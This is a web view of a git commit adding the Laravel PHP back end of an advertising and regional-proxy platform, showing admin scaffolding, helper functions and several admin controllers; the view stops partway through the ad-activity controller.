Parcourir la source

wesmiler 点什么广告

APPLE il y a 3 ans
Parent
commit
2fd7409447
100 fichiers modifiés avec 12714 ajouts et 0 suppressions
  1. 2 0
      .gitignore
  2. 10 0
      app/Admin/Controllers/AuthController.php
  3. 122 0
      app/Admin/Controllers/ExampleController.php
  4. 34 0
      app/Admin/Controllers/HomeController.php
  5. 171 0
      app/Admin/Controllers/UserController.php
  6. 21 0
      app/Admin/bootstrap.php
  7. 17 0
      app/Admin/routes.php
  8. 41 0
      app/Console/Kernel.php
  9. 36 0
      app/Events/Event.php
  10. 40 0
      app/Events/TestSendMsg.php
  11. 71 0
      app/Exceptions/Handler.php
  12. 274 0
      app/Helpers/functions.php
  13. 75 0
      app/Http/Controllers/Admins/AccountLogController.php
  14. 43 0
      app/Http/Controllers/Admins/AdminAreaController.php
  15. 113 0
      app/Http/Controllers/Admins/AdverActivityController.php
  16. 1379 0
      app/Http/Controllers/Admins/AdverController.php
  17. 49 0
      app/Http/Controllers/Admins/AreaController.php
  18. 59 0
      app/Http/Controllers/Admins/AuthController.php
  19. 73 0
      app/Http/Controllers/Admins/ConfigController.php
  20. 121 0
      app/Http/Controllers/Admins/FeedBackController.php
  21. 100 0
      app/Http/Controllers/Admins/HomeController.php
  22. 96 0
      app/Http/Controllers/Admins/IndustryController.php
  23. 58 0
      app/Http/Controllers/Admins/ProtocolController.php
  24. 251 0
      app/Http/Controllers/Admins/ProxyAreaController.php
  25. 566 0
      app/Http/Controllers/Admins/ProxyController.php
  26. 63 0
      app/Http/Controllers/Admins/SliderController.php
  27. 278 0
      app/Http/Controllers/Admins/StatController.php
  28. 41 0
      app/Http/Controllers/Admins/SystemModelHasPermissionsController.php
  29. 79 0
      app/Http/Controllers/Admins/SystemModelHasRolesController.php
  30. 122 0
      app/Http/Controllers/Admins/SystemNoticeController.php
  31. 139 0
      app/Http/Controllers/Admins/SystemPermissionsController.php
  32. 176 0
      app/Http/Controllers/Admins/SystemRoleHasPermissionsController.php
  33. 123 0
      app/Http/Controllers/Admins/SystemRolesController.php
  34. 255 0
      app/Http/Controllers/Admins/SystemUserController.php
  35. 252 0
      app/Http/Controllers/Admins/UpgradeController.php
  36. 797 0
      app/Http/Controllers/Admins/UserController.php
  37. 323 0
      app/Http/Controllers/Admins/UserWithdrawController.php
  38. 149 0
      app/Http/Controllers/Api/AccountLogController.php
  39. 864 0
      app/Http/Controllers/Api/AdverController.php
  40. 42 0
      app/Http/Controllers/Api/AreaController.php
  41. 262 0
      app/Http/Controllers/Api/AuthController.php
  42. 150 0
      app/Http/Controllers/Api/AuthController.php--
  43. 51 0
      app/Http/Controllers/Api/ConfigController.php
  44. 38 0
      app/Http/Controllers/Api/FeedBackController.php
  45. 252 0
      app/Http/Controllers/Api/HomeController.php
  46. 15 0
      app/Http/Controllers/Api/IndustryController.php
  47. 11 0
      app/Http/Controllers/Api/OrderController.php
  48. 74 0
      app/Http/Controllers/Api/PayController.php
  49. 16 0
      app/Http/Controllers/Api/ProtocolController.php
  50. 136 0
      app/Http/Controllers/Api/ProxyAreaController.php
  51. 96 0
      app/Http/Controllers/Api/ProxyController.php
  52. 11 0
      app/Http/Controllers/Api/ProxyInviteController.php
  53. 34 0
      app/Http/Controllers/Api/PublicController.php
  54. 390 0
      app/Http/Controllers/Api/TaoniuController.php
  55. 311 0
      app/Http/Controllers/Api/TestController.php
  56. 484 0
      app/Http/Controllers/Api/UpgradeController.php
  57. 142 0
      app/Http/Controllers/Api/UserBankController.php
  58. 103 0
      app/Http/Controllers/Api/UserCoinController.20190612
  59. 125 0
      app/Http/Controllers/Api/UserCoinController.php
  60. 340 0
      app/Http/Controllers/Api/UserController.php
  61. 43 0
      app/Http/Controllers/Api/UserMsgController.php
  62. 103 0
      app/Http/Controllers/Api/UserWithdrawController.php
  63. 13 0
      app/Http/Controllers/Controller.php
  64. 94 0
      app/Http/Kernel.php
  65. 100 0
      app/Http/Middleware/AdminsAuth.php
  66. 42 0
      app/Http/Middleware/AuthPermission.php
  67. 51 0
      app/Http/Middleware/AuthTokenByMaybe.php
  68. 81 0
      app/Http/Middleware/AuthTokenByMust.php
  69. 20 0
      app/Http/Middleware/ClearanceMiddleware.php
  70. 28 0
      app/Http/Middleware/CressHttp.php
  71. 17 0
      app/Http/Middleware/EncryptCookies.php
  72. 23 0
      app/Http/Middleware/MustLevelMiddleware.php
  73. 23 0
      app/Http/Middleware/MustSystemManager.php
  74. 26 0
      app/Http/Middleware/RedirectIfAuthenticated.php
  75. 30 0
      app/Http/Middleware/RequestLogModdleware.php
  76. 36 0
      app/Http/Middleware/SwitchServiceMiddleware.php
  77. 38 0
      app/Http/Middleware/TaoniuAuth.php
  78. 18 0
      app/Http/Middleware/TrimStrings.php
  79. 29 0
      app/Http/Middleware/TrustProxies.php
  80. 19 0
      app/Http/Middleware/VerifyCsrfToken.php
  81. 31 0
      app/Listeners/EventListener.php
  82. 35 0
      app/Listeners/QueryListener.php
  83. 31 0
      app/Listeners/TestSendMsgNotification.php
  84. 297 0
      app/Modes/AccountLog.php
  85. 49 0
      app/Modes/AdminArea.php
  86. 46 0
      app/Modes/AdverActivity.php
  87. 34 0
      app/Modes/AdverActivityLimit.php
  88. 38 0
      app/Modes/AdverActivityLog.php
  89. 36 0
      app/Modes/AdverAlarm.php
  90. 44 0
      app/Modes/AdverDeductLog.php
  91. 56 0
      app/Modes/AdverVisit.php
  92. 215 0
      app/Modes/Advertising.php
  93. 132 0
      app/Modes/Area.php
  94. 34 0
      app/Modes/BusinessGoal.php
  95. 71 0
      app/Modes/Config.php
  96. 54 0
      app/Modes/ErrorLog.php
  97. 36 0
      app/Modes/FeedBack.php
  98. 43 0
      app/Modes/Frozen.php
  99. 32 0
      app/Modes/Industry.php
  100. 0 0
      app/Modes/MsgTemplate.php

+ 2 - 0
.gitignore

@@ -4,3 +4,5 @@
 .env.php
 .env
 
+
+/.idea/*

+ 10 - 0
app/Admin/Controllers/AuthController.php

@@ -0,0 +1,10 @@
+<?php
+
+namespace App\Admin\Controllers;
+
+use Encore\Admin\Controllers\AuthController as BaseAuthController;
+
+class AuthController extends BaseAuthController
+{
+
+}

+ 122 - 0
app/Admin/Controllers/ExampleController.php

@@ -0,0 +1,122 @@
+<?php
+
+namespace App\Admin\Controllers;
+
+use App\Http\Controllers\Controller;
+use Encore\Admin\Controllers\HasResourceActions;
+use Encore\Admin\Form;
+use Encore\Admin\Grid;
+use Encore\Admin\Layout\Content;
+use Encore\Admin\Show;
+
+class ExampleController extends Controller
+{
+    use HasResourceActions;
+
+    /**
+     * Index interface.
+     *
+     * @param Content $content
+     * @return Content
+     */
+    public function index(Content $content)
+    {
+        return $content
+            ->header('Index')
+            ->description('description')
+            ->body($this->grid());
+    }
+
+    /**
+     * Show interface.
+     *
+     * @param mixed   $id
+     * @param Content $content
+     * @return Content
+     */
+    public function show($id, Content $content)
+    {
+        return $content
+            ->header('Detail')
+            ->description('description')
+            ->body($this->detail($id));
+    }
+
+    /**
+     * Edit interface.
+     *
+     * @param mixed   $id
+     * @param Content $content
+     * @return Content
+     */
+    public function edit($id, Content $content)
+    {
+        return $content
+            ->header('Edit')
+            ->description('description')
+            ->body($this->form()->edit($id));
+    }
+
+    /**
+     * Create interface.
+     *
+     * @param Content $content
+     * @return Content
+     */
+    public function create(Content $content)
+    {
+        return $content
+            ->header('Create')
+            ->description('description')
+            ->body($this->form());
+    }
+
+    /**
+     * Make a grid builder.
+     *
+     * @return Grid
+     */
+    protected function grid()
+    {
+        $grid = new Grid(new YourModel);
+
+        $grid->id('ID')->sortable();
+        $grid->created_at('Created at');
+        $grid->updated_at('Updated at');
+
+        return $grid;
+    }
+
+    /**
+     * Make a show builder.
+     *
+     * @param mixed   $id
+     * @return Show
+     */
+    protected function detail($id)
+    {
+        $show = new Show(YourModel::findOrFail($id));
+
+        $show->id('ID');
+        $show->created_at('Created at');
+        $show->updated_at('Updated at');
+
+        return $show;
+    }
+
+    /**
+     * Make a form builder.
+     *
+     * @return Form
+     */
+    protected function form()
+    {
+        $form = new Form(new YourModel);
+
+        $form->display('id', 'ID');
+        $form->display('created_at', 'Created At');
+        $form->display('updated_at', 'Updated At');
+
+        return $form;
+    }
+}

+ 34 - 0
app/Admin/Controllers/HomeController.php

@@ -0,0 +1,34 @@
+<?php
+
+namespace App\Admin\Controllers;
+
+use App\Http\Controllers\Controller;
+use Encore\Admin\Controllers\Dashboard;
+use Encore\Admin\Layout\Column;
+use Encore\Admin\Layout\Content;
+use Encore\Admin\Layout\Row;
+
+class HomeController extends Controller
+{
+    public function index(Content $content)
+    {
+        return $content
+            ->header('Dashboard')
+            ->description('Description...')
+            ->row(Dashboard::title())
+            ->row(function (Row $row) {
+
+                $row->column(4, function (Column $column) {
+                    $column->append(Dashboard::environment());
+                });
+
+                $row->column(4, function (Column $column) {
+                    $column->append(Dashboard::extensions());
+                });
+
+                $row->column(4, function (Column $column) {
+                    $column->append(Dashboard::dependencies());
+                });
+            });
+    }
+}

+ 171 - 0
app/Admin/Controllers/UserController.php

@@ -0,0 +1,171 @@
+<?php
+
+namespace App\Admin\Controllers;
+
+use App\Modes\User;
+use App\Http\Controllers\Controller;
+use Encore\Admin\Controllers\HasResourceActions;
+use Encore\Admin\Form;
+use Encore\Admin\Grid;
+use Encore\Admin\Layout\Content;
+use Encore\Admin\Show;
+
+class UserController extends Controller
+{
+    use HasResourceActions;
+
+    /**
+     * Index interface.
+     *
+     * @param Content $content
+     * @return Content
+     */
+    public function index(Content $content)
+    {
+        return $content
+            ->header('用户列表')
+            ->description(' ')
+            ->body($this->grid());
+    }
+
+    /**
+     * Show interface.
+     *
+     * @param mixed $id
+     * @param Content $content
+     * @return Content
+     */
+    public function show($id, Content $content)
+    {
+        return $content
+            ->header('用户详情')
+            ->description(' ')
+            ->body($this->detail($id));
+    }
+
+    /**
+     * Edit interface.
+     *
+     * @param mixed $id
+     * @param Content $content
+     * @return Content
+     */
+    public function edit($id, Content $content)
+    {
+        return $content
+            ->header('用户编辑')
+            ->description(' ')
+            ->body($this->form()->edit($id));
+    }
+
+    /**
+     * Create interface.
+     *
+     * @param Content $content
+     * @return Content
+     */
+    public function create(Content $content)
+    {
+        return $content
+            ->header('用户新增')
+            ->description(' ')
+            ->body($this->form());
+    }
+
+    /**
+     * Make a grid builder.
+     *
+     * @return Grid
+     */
+    protected function grid()
+    {
+        $grid = new Grid(new User);
+
+        $grid->id('Id');
+        $grid->mobile('手机号码');
+        $grid->nick_name('昵称');
+        $grid->avatar('头像');
+        $grid->real_name('真实姓名');
+        $grid->id_card('身份证号码');
+        $grid->balance('余额');
+        $grid->coin('点币');
+        $grid->province('省');
+        $grid->city('市');
+        $grid->district('区');
+        $grid->invitor('邀请人');
+        $grid->invite_code('邀请码');
+        $grid->level('等级');
+        $grid->status('状态');
+        $grid->created_at('注册时间');
+
+        return $grid;
+    }
+
+    /**
+     * Make a show builder.
+     *
+     * @param mixed $id
+     * @return Show
+     */
+    protected function detail($id)
+    {
+        $show = new Show(User::findOrFail($id));
+
+        $show->id('Id');
+        $show->mobile('手机号码');
+        $show->nick_name('昵称');
+        $show->avatar('头像');
+        $show->password('密码');
+        $show->real_name('真实姓名');
+        $show->id_card('身份证号码');
+        $show->balance('余额');
+        $show->coin('点币');
+        $show->province('省');
+        $show->city('市');
+        $show->district('区');
+        $show->invitor('邀请人');
+        $show->invite_code('邀请码');
+        $show->level('等级');
+        $show->status('状态');
+        $show->created_at('注册时间');
+
+        return $show;
+    }
+
+    /**
+     * Make a form builder.
+     *
+     * @return Form
+     */
+    protected function form()
+    {
+        $form = new Form(new User);
+
+        $form->number('mobile', '手机号码');
+        $form->text('nick_name', '昵称');
+        $form->image('avatar', '头像');
+        $form->password('password', '密码');
+        $form->text('real_name', '真实姓名');
+        $form->text('id_card', '身份证号码');
+        $form->decimal('balance', '余额')->default(0.0000);
+        $form->decimal('coin', '点币')->default(0.0000);
+        $form->number('province', '省');
+        $form->number('city', '市');
+        $form->number('district', '区');
+        $form->number('invitor', '邀请人');
+        $form->text('invite_code', '邀请码');
+        $form->switch('level', '等级')->default(1);
+        $form->switch('status', '状态')->default(1);
+
+        // 修改密码
+        $form->saving(function (Form $form) {
+            if ($form->password && $form->model()->password !== $form->password) {
+                $form->password = User::encodePassword($form->password);
+            }
+
+            $form->avata = '/upload/' . $form->avatar;
+        });
+
+        return $form;
+    }
+}

+ 21 - 0
app/Admin/bootstrap.php

@@ -0,0 +1,21 @@
+<?php
+
+/**
+ * Laravel-admin - admin builder based on Laravel.
+ * @author z-song <https://github.com/z-song>
+ *
+ * Bootstraper for Admin.
+ *
+ * Here you can remove builtin form field:
+ * Encore\Admin\Form::forget(['map', 'editor']);
+ *
+ * Or extend custom form field:
+ * Encore\Admin\Form::extend('php', PHPEditor::class);
+ *
+ * Or require js and css assets:
+ * Admin::css('/packages/prettydocs/css/styles.css');
+ * Admin::js('/packages/prettydocs/js/main.js');
+ *
+ */
+
+Encore\Admin\Form::forget(['map', 'editor']);

+ 17 - 0
app/Admin/routes.php

@@ -0,0 +1,17 @@
+<?php
+
+use Illuminate\Routing\Router;
+
+Admin::registerAuthRoutes();
+
+Route::group([
+    'prefix' => config('admin.route.prefix'),
+    'namespace' => config('admin.route.namespace'),
+    'middleware' => config('admin.route.middleware'),
+], function (Router $router) {
+
+    $router->get('/', 'HomeController@index');
+
+    $router->resource('user', UserController::class);
+
+});

+ 41 - 0
app/Console/Kernel.php

@@ -0,0 +1,41 @@
+<?php
+
+namespace App\Console;
+
+use Illuminate\Console\Scheduling\Schedule;
+use Illuminate\Foundation\Console\Kernel as ConsoleKernel;
+
+class Kernel extends ConsoleKernel
+{
+    /**
+     * The Artisan commands provided by your application.
+     *
+     * @var array
+     */
+    protected $commands = [
+    ];
+
+    /**
+     * Define the application's command schedule.
+     *
+     * @param  \Illuminate\Console\Scheduling\Schedule  $schedule
+     * @return void
+     */
+    protected function schedule(Schedule $schedule)
+    {
+        // $schedule->command('inspire')
+        //          ->hourly();
+    }
+
+    /**
+     * Register the commands for the application.
+     *
+     * @return void
+     */
+    protected function commands()
+    {
+        $this->load(__DIR__.'/Commands');
+
+        require base_path('routes/console.php');
+    }
+}

+ 36 - 0
app/Events/Event.php

@@ -0,0 +1,36 @@
+<?php
+
+namespace App\Events;
+
+use Illuminate\Broadcasting\Channel;
+use Illuminate\Queue\SerializesModels;
+use Illuminate\Broadcasting\PrivateChannel;
+use Illuminate\Broadcasting\PresenceChannel;
+use Illuminate\Foundation\Events\Dispatchable;
+use Illuminate\Broadcasting\InteractsWithSockets;
+use Illuminate\Contracts\Broadcasting\ShouldBroadcast;
+
+class Event
+{
+    use Dispatchable, InteractsWithSockets, SerializesModels;
+
+    /**
+     * Create a new event instance.
+     *
+     * @return void
+     */
+    public function __construct()
+    {
+        //
+    }
+
+    /**
+     * Get the channels the event should broadcast on.
+     *
+     * @return \Illuminate\Broadcasting\Channel|array
+     */
+    public function broadcastOn()
+    {
+        return new PrivateChannel('channel-name');
+    }
+}

+ 40 - 0
app/Events/TestSendMsg.php

@@ -0,0 +1,40 @@
+<?php
+
+namespace App\Events;
+
+use Illuminate\Broadcasting\Channel;
+use Illuminate\Queue\SerializesModels;
+use Illuminate\Broadcasting\PrivateChannel;
+use Illuminate\Broadcasting\PresenceChannel;
+use Illuminate\Foundation\Events\Dispatchable;
+use Illuminate\Broadcasting\InteractsWithSockets;
+use Illuminate\Contracts\Broadcasting\ShouldBroadcast;
+
+class TestSendMsg implements ShouldBroadcast
+{
+    use Dispatchable, InteractsWithSockets, SerializesModels;
+
+    public $id;
+
+    public function __construct($id)
+    {
+        $this->id = $id;
+    }
+
+    /**
+     * Get the channels the event should broadcast on.
+     *
+     * @return \Illuminate\Broadcasting\Channel|array
+     */
+    public function broadcastOn()
+    {
+        \Log::debug('hehe');
+        return new PrivateChannel('testSendMsg');
+    }
+
+    //自定义广播的消息名
+    public function broadcastAs()
+    {
+        return 'anyName';
+    }
+}

+ 71 - 0
app/Exceptions/Handler.php

@@ -0,0 +1,71 @@
+<?php
+
+namespace App\Exceptions;
+
+use Exception;
+use Illuminate\Foundation\Exceptions\Handler as ExceptionHandler;
+use Illuminate\Validation\ValidationException;
+use Symfony\Component\HttpKernel\Exception\UnauthorizedHttpException;
+use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
+use Symfony\Component\HttpKernel\Exception\MethodNotAllowedHttpException;
+
+class Handler extends ExceptionHandler
+{
+    /**
+     * A list of the exception types that are not reported.
+     *
+     * @var array
+     */
+    protected $dontReport = [
+        //
+    ];
+
+    /**
+     * A list of the inputs that are never flashed for validation exceptions.
+     *
+     * @var array
+     */
+    protected $dontFlash = [
+        'password',
+        'password_confirmation',
+    ];
+
+    /**
+     * Report or log an exception.
+     *
+     * This is a great spot to send exceptions to Sentry, Bugsnag, etc.
+     *
+     * @param  \Exception $exception
+     * @return void
+     */
+    public function report(Exception $exception)
+    {
+        parent::report($exception);
+    }
+
+    public function render($request, Exception $exception)
+    {
+        if ($exception instanceof ValidationException) {
+            // return response(['error' => array_first(array_collapse($exception->errors()))], 400);
+            return showJson(102, array_first(array_collapse($exception->errors())));
+        }
+        if ($exception instanceof UnauthorizedHttpException) {
+            return response($exception->getMessage(), 401);
+        }
+
+        // 权限拦截器
+        if ($exception instanceof \Spatie\Permission\Exceptions\UnauthorizedException) {
+            // 你的代码在这 ...
+            return showJson(102, 1002, ['msg' => $exception->getMessage()]);
+        }
+
+        // 如果不被允许的路由
+        if ($exception instanceof MethodNotAllowedHttpException || $exception instanceof NotFoundHttpException) {
+            if (!($request->ajax() || $request->wantsJson())) {
+                return showJson(102, '路由不存在');
+            }
+        }
+
+        return parent::render($request, $exception);
+    }
+}

+ 274 - 0
app/Helpers/functions.php

@@ -0,0 +1,274 @@
+<?php
+
+use Illuminate\Database\Events\QueryExecuted;
+
+function getArrt($value, $option)
+{
+    if (array_key_exists($value, $option)) {
+        return $option[$value];
+    }
+    return '';
+}
+
+function showJson($code = 101, $message = 1001, $data = [], $header = [])
+{
+    $resData = [
+        'code' => lang($code),
+        'message' => is_int($message) ? lang($message) : $message
+    ];
+//    if (!empty($data)) {
+    $resData['data'] = $data;
+//    }
+    return response($resData, 200, $header);
+}
+
+function showJsonSucc($message, $data = [])
+{
+    return showJson(101, $message, $data);
+}
+
+function showJsonErr($message, $data = [])
+{
+    return showJson(102, $message, $data);
+}
+
+function reJson($code = 101, $message = 1001, $data = [])
+{
+    $resData = [
+        'code' => lang($code),
+        'message' => is_int($message) ? lang($message) : $message
+    ];
+    if (!empty($data)) {
+        $resData['data'] = $data;
+    }
+    return json_encode($resData);
+}
+
+function lang($value)
+{
+    return trans('api.' . $value);
+}
+
+function getValidatorError($error)
+{
+    foreach ($error->messages() as $item) {
+        return $item['0'];
+        break;
+    }
+}
+
+
+/**
+ * 拼接url
+ * @author lyh 894806814@qq.com
+ * @date 2018/12/14
+ * @description
+ */
+function getUrl($url)
+{
+    $url = trim($url);
+    if (empty($url)) {
+        return $url;
+    }
+    if (strpos($url, 'http') === 0 || strpos($url, 'https') === 0) {
+        return $url;
+    } else {
+//        return url()->formatRoot('http://') . $url;
+        return env('APP_URL') . $url;
+    }
+}
+
+function perPage()
+{
+    return empty(Request::all('perPage')['perPage']) ? env('PerPage', 10) : Request::all('perPage')['perPage'];
+}
+
+/**
+ * @return \App\Modes\User|null
+ */
+function Admin()
+{
+    return Auth::guard(config('permission.guard'))->user();
+}
+
+function adminsWhere($model, $param = [], $isAll = false)
+{
+    $str = '';
+    if (empty($param) && $isAll == false) {
+        if (Admin()->province) {
+            $model->whereProvince(Admin()->province);
+            $str = $str . \App\Modes\Area::getName(Admin()->province . ' ');
+        }
+
+        if (Admin()->city) {
+            $model->whereCity(Admin()->city);
+            $str = $str . \App\Modes\Area::getName(Admin()->city . ' ');
+        }
+
+        if (Admin()->district) {
+            $model->whereDistrict(Admin()->district);
+            $str = $str . \App\Modes\Area::getName(Admin()->district);
+        }
+    } else {
+        if (!empty($param['province'])) {
+            $model->whereProvince($param['province']);
+            $str = $str . \App\Modes\Area::getName($param['province'] . ' ');
+        }
+
+        if (!empty($param['city'])) {
+            $model->whereCity(Admin()->city);
+            $str = $str . \App\Modes\Area::getName($param['city'] . ' ');
+        }
+
+        if (!empty($param['district'])) {
+            $model->whereDistrict($param['district']);
+            $str = $str . \App\Modes\Area::getName($param['district']);
+        }
+    }
+
+    return [
+        $model,
+        $str,
+    ];
+}
+
+/**
+ * 地区条件过滤
+ * @return \Illuminate\Database\Eloquent\Model
+ */
+function whereArea($model)
+{
+    if (Admin()->province) {
+        $model->whereProvince(Admin()->province);
+    }
+
+    if (Admin()->city) {
+        $model->whereCity(Admin()->city);
+    }
+
+    if (Admin()->district) {
+        $model->whereDistrict(Admin()->district);
+    }
+
+    return $model;
+}
+
+/**
+ * 地区条件过滤
+ * @return \Illuminate\Database\Eloquent\Model
+ */
+function whereAreaByParam($model, $param)
+{
+    if (!empty($param['province'])) {
+        $model->whereProvince($param['province']);
+    }
+
+    if (!empty($param['city'])) {
+        $model->whereCity(Admin()->city);
+    }
+
+    if (!empty($param['district'])) {
+        $model->whereDistrict($param['district']);
+    }
+
+    return $model;
+}
+
+function getIds()
+{
+    $ids = \Cache::get('ids');
+    return $ids;
+}
+
+function filterReq($postData, $data)
+{
+    $filterData = array_filter($postData, function ($v, $k) use ($data) {
+        return $v != null && $v != '' && in_array($k, $data);
+    }, ARRAY_FILTER_USE_BOTH);
+    return $filterData;
+}
+//判断是否是移动端访问
+function isMobile()
+{
+    // 如果有HTTP_X_WAP_PROFILE则一定是移动设备
+    if (isset ($_SERVER['HTTP_X_WAP_PROFILE'])) {
+        return TRUE;
+    }
+    // 如果via信息含有wap则一定是移动设备,部分服务商会屏蔽该信息
+    if (isset ($_SERVER['HTTP_VIA'])) {
+        return stristr($_SERVER['HTTP_VIA'], "wap") ? TRUE : FALSE;// 找不到为flase,否则为TRUE
+    }
+    // 判断手机发送的客户端标志,兼容性有待提高
+    if (isset ($_SERVER['HTTP_USER_AGENT'])) {
+        $clientkeywords = array(
+            'mobile',
+            'nokia',
+            'sony',
+            'ericsson',
+            'mot',
+            'samsung',
+            'htc',
+            'sgh',
+            'lg',
+            'sharp',
+            'sie-',
+            'philips',
+            'panasonic',
+            'alcatel',
+            'lenovo',
+            'iphone',
+            'ipod',
+            'blackberry',
+            'meizu',
+            'android',
+            'netfront',
+            'symbian',
+            'ucweb',
+            'windowsce',
+            'palm',
+            'operamini',
+            'operamobi',
+            'openwave',
+            'nexusone',
+            'cldc',
+            'midp',
+            'wap'
+        );
+        // 从HTTP_USER_AGENT中查找手机浏览器的关键字
+        if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
+            return TRUE;
+        }
+    }
+    if (isset ($_SERVER['HTTP_ACCEPT'])) { // 协议法,因为有可能不准确,放到最后判断
+        // 如果只支持wml并且不支持html那一定是移动设备
+        // 如果支持wml和html但是wml在html之前则是移动设备
+        if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== FALSE) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === FALSE || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
+            return TRUE;
+        }
+    }
+    return FALSE;
+}
+
+/**
+ * 金钱格式化小数点
+ * @param $money
+ * @param int $decimal 小数点位数,默认系统配置2位
+ * @return float
+ */
+function moneyFormat($money, $decimal=null){
+    $formatConfig = [];
+    $charset = !empty($formatConfig['charset'])? trim($formatConfig['charset']) : 'utf-8';
+    if($decimal == null){
+        $decimal = isset($formatConfig['moneyDecimal'])? intval($formatConfig['moneyDecimal']): 2;
+    }
+    $money = round($money, $decimal+1);
+    $data = explode('.', $money);
+    $money = isset($data[0])? $data[0] : 0;
+    $float = isset($data[1])? $data[1] : '';
+    $len = $float? mb_strlen($float, $charset) : 0;
+
+    $decimal = $decimal? intval($decimal) : 2;
+    $float = $len>=$decimal? mb_substr($data[1], 0, $decimal, $charset) : $float.str_repeat('0', $decimal-$len);
+    $money = $money.'.'.$float;
+    return number_format($money, $decimal, '.', '');
+}

+ 75 - 0
app/Http/Controllers/Admins/AccountLogController.php

@@ -0,0 +1,75 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-06-22 16:34:34
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Controllers\Admins\AccountLogController.php
+ */
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AccountLog;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class AccountLogController extends Controller
+{
+    /**
+     * 点币转账记录
+     * @author lyh
+     * @date 2019/4/9
+     * @modify 确认已区分系统管理员与地区管理员权限
+     * @param Request $request
+     * @description
+     */
+    public function changeCoin(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'required' => 'id|exists:user,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 区分系统管理员与地区管理员数据-2019-4-26 11:26:31
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+        
+        $result = AccountLog::whereUid($param['id'])
+            //->whereIn('type', [3, 2])
+            ->whereIn('type', [31, 30,32,45])
+            ->whereStatus(1)
+            ->select(['id', 'uid','source_uid','money', 'created_at', 'type','remark'])
+            ->orderBy('created_at','desc')
+            ->paginate(perPage());
+        return showJsonSucc(1001, $result);
+    }
+    /*
+     * 代理费缴费记录
+     * wsl
+     * 20190807
+     * */
+    public function agentPayLog(Request $request){
+        $validator = \Validator::make($param = $request->all(), [
+            'required' => 'id|exists:user,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        // 区分系统管理员与地区管理员数据-2019-4-26 11:26:31
+        if (\Auth::user()->is_super == 3 && !in_array($param['id'], getIds())) {
+            return showJsonErr('抱歉,您没有权限查看该用户信息');
+        }
+        $result = AccountLog::whereUid($param['id'])
+            //->whereIn('type', [3, 2])
+            ->whereIn('type', [7, 8])
+            ->whereStatus(1)
+            ->select(['id', 'uid', 'money', 'created_at', 'type'])
+            ->orderBy('created_at','desc')
+            ->paginate(perPage());
+        return showJsonSucc(1001, $result);   
+    }
+}

+ 43 - 0
app/Http/Controllers/Admins/AdminAreaController.php

@@ -0,0 +1,43 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdminArea;
+use App\Modes\Proxy;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class AdminAreaController extends Controller
+{
+
+    /*
+     * 添加管理员管理区域
+     * addbywsl
+     * 20190805
+     * */
+    public function add(Request $request){
+        $param = $request->all();
+        if(empty($param['admin_id'])){
+            return showJsonErr('admin_id不能为空');
+        }
+        if(empty($param['province'])||empty($param['city'])){
+            return showJsonErr('省/市必填');
+        }
+        $user=User::whereId($param['admin_id'])->whereIsFrontend(0)->whereStatus(1)->first();
+        if(empty($user)){
+            return showJsonErr('当前用户状态异常或无此用户');
+        }
+        $adminarea=AdminArea::whereAdminId($param['admin_id'])->first();
+        if(empty($adminarea)){
+            $res=AdminArea::insert($param);
+        }else{
+            $res=AdminArea::whereId($adminarea->id)->update($param);
+        }
+        if($res){
+            return showJsonSucc('操作成功');
+        }else{
+            return showJsonErr('操作失败');
+        }
+    }
+}

+ 113 - 0
app/Http/Controllers/Admins/AdverActivityController.php

@@ -0,0 +1,113 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdverActivity;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class AdverActivityController extends Controller
+{
+    /**
+     * 活动列表
+     * @author lyh
+     * @date 2019/4/22
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'start_time' => 'date',
+            'end_time' => 'date',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $res = AdverActivity::select([
+            'start_time',
+            'end_time',
+            'id',
+            'free_num',
+            'created_at'
+        ]);
+        if (!empty($param['start_time']) && !empty($param['end_time'])) {
+            $res->whereBetween('created_at', [$param['start_time'], $param['end_time']]);
+        } else if (!empty($param['start_time']) && empty($param['end_time'])) {
+            $res->where('created_at', '>', $param['start_time']);
+        } else if (empty($param['start_time']) && !empty($param['end_time'])) {
+            $res->where('created_at', '<', $param['end_time']);
+        }
+        $res->orderBy('start_time','desc');
+        $res = $res->paginate(perPage());
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 添加活动
+     * @author lyh
+     * @date 2019/4/22
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'start_time' => 'required|date',
+            'end_time' => 'required|date',
+            'free_num' => 'required|integer'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if ($param['start_time'] > $param['end_time']) {
+            return showJsonErr('开始时间不能大于结束时间');
+        }
+
+        $list=\DB::table('adver_activity')->get();
+        if(!empty($list)){
+            foreach($list as $item){
+                $rr=$this->isTimeCross(strtotime($param['start_time']),strtotime($param['end_time']),strtotime($item->start_time),strtotime($item->end_time));
